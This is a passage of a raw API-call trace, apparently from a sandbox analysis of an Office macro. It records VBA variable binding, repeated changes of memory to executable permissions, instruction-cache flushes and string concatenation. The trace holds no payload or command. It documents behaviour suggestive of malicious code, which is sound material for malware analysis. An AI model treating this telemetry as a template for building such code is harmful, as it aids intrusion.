wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100ce, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="vegas") returned 6 [0076.242] ITypeComp:RemoteBind (in: This=0x679c130, szName="vegas", lHashVal=0x104508, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100ce, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="vegas") returned 6 [0076.243] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="vegas", lHashVal=0x104508, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] IMalloc:Alloc (This=0x7fefe465380, cb=0xd) returned 0x66c01b0 [0076.243] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x6, _Src=0x5d100ce | out: _Dst=0x66c01b0) returned 0x0 [0076.243] strcpy_s (in: _Dst=0x1ff580, _DstSize=0xd, _Src="_B_var_vegas" | out: _Dst="_B_var_vegas") returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=13, lpWideCharStr=0x1ff3d0, cchWideChar=13 | out: lpWideCharStr="_B_var_vegas") returned 13 [0076.243] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.243] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_vegas", lHashVal=0x1008f5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.243] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.243] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.243] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_vegas", lHashVal=0x1008f5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.243] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.243] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.243] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_vegas", lHashVal=0x1008f5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.243] IUnknown:Release (This=0x679c120) returned 0x7 [0076.243] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.243] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_vegas", lHashVal=0x1008f5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.243] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.243] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.243] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10416, cbMultiByte=13, lpWideCharStr=0x1ff430, cchWideChar=14 | out: lpWideCharStr="_B_var_vegas") returned 13 [0076.243] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_vegas", lHashVal=0x1008f5, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x73006100000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x73006100000000, pDummy=0x0) returned 0x0 [0076.243] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0x6, _Src=0x5d100ce | out: _Dst=0x1ff5f0) returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100f6, cbMultiByte=9, lpWideCharStr=0x1ff470, cchWideChar=10 | out: lpWideCharStr="tarapara") returned 9 [0076.243] ITypeComp:RemoteBind (in: This=0x679bb90, szName="tarapara", lHashVal=0x108b92, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100f6, cbMultiByte=9, lpWideCharStr=0x1ff470, cchWideChar=10 | out: lpWideCharStr="tarapara") returned 9 [0076.243] ITypeComp:RemoteBind (in: This=0x5a48630, szName="tarapara", lHashVal=0x108b92, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100f6, cbMultiByte=9, lpWideCharStr=0x1ff470, cchWideChar=10 | out: lpWideCharStr="tarapara") returned 9 [0076.243] ITypeComp:RemoteBind (in: This=0x679c130, szName="tarapara", lHashVal=0x108b92, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100f6, cbMultiByte=9, lpWideCharStr=0x1ff470, cchWideChar=10 | out: lpWideCharStr="tarapara") returned 9 [0076.243] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="tarapara", lHashVal=0x108b92, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.243] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x66c01b0 [0076.244] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x9, _Src=0x5d100f6 | out: _Dst=0x66c01b0) returned 0x0 [0076.244] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x10, _Src="_B_var_tarapara" | out: _Dst="_B_var_tarapara") returned 0x0 [0076.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=16, lpWideCharStr=0x1ff3d0, cchWideChar=16 | out: lpWideCharStr="_B_var_tarapara") returned 16 [0076.244] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.244] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_tarapara", lHashVal=0x10631b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.244] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.244] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.244] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_tarapara", lHashVal=0x10631b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.244] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.244] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.244] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_tarapara", lHashVal=0x10631b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.244] IUnknown:Release (This=0x679c120) returned 0x7 [0076.244] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.244] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_tarapara", lHashVal=0x10631b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.244] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.244] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.244] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10446, cbMultiByte=16, lpWideCharStr=0x1ff430, cchWideChar=17 | out: lpWideCharStr="_B_var_tarapara") returned 16 [0076.244] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_tarapara", lHashVal=0x10631b, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x74005f00720061, ppTypeComp=0x70006100000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x74005f00720061, ppTypeComp=0x70006100000000, pDummy=0x0) returned 0x0 [0076.244] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0x9, _Src=0x5d100f6 | out: _Dst=0x1ff5f0) returned 0x0 [0076.244] IMalloc:Free (This=0x7fefe465380, pv=0x666f2f0) [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.244] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.244] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.244] GetCurrentProcess () returned 0xffffffffffffffff [0076.244] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.245] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.245] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.246] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.246] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.246] GetCurrentProcess () returned 0xffffffffffffffff [0076.246] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.246] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.246] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.246] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb824728) returned 0x2 [0076.246] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.246] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb824780) returned 0x5 [0076.246] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.246] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb824678) returned 0x1 [0076.246] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.246] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.246] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.246] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.246] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.246] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.246] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.246] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.246] IUnknown:Release (This=0xb941878) returned 0x3 [0076.246] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.246] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.246] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.247] IUnknown:Release (This=0xb941980) returned 0x4 [0076.247] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.247] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.247] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.247] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.247] VarAdd (in: pvarLeft=0xb823e70, pvarRight=0xb823e58, pvarResult=0xb823e40 | out: pvarResult=0xb823e40) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824228, pvarRight=0xb824210, pvarResult=0xb8241f8 | out: pvarResult=0xb8241f8) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb8241f8, pvarRight=0xb8241b0, pvarResult=0xb8241c8 | out: pvarResult=0xb8241c8) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb8241c8, pvarRight=0xb824180, pvarResult=0xb824198 | out: pvarResult=0xb824198) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824198, pvarRight=0xb824150, pvarResult=0xb824168 | out: pvarResult=0xb824168) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824168, pvarRight=0xb824120, pvarResult=0xb824138 | out: pvarResult=0xb824138) returned 0x0 [0076.247] VarAdd (in: 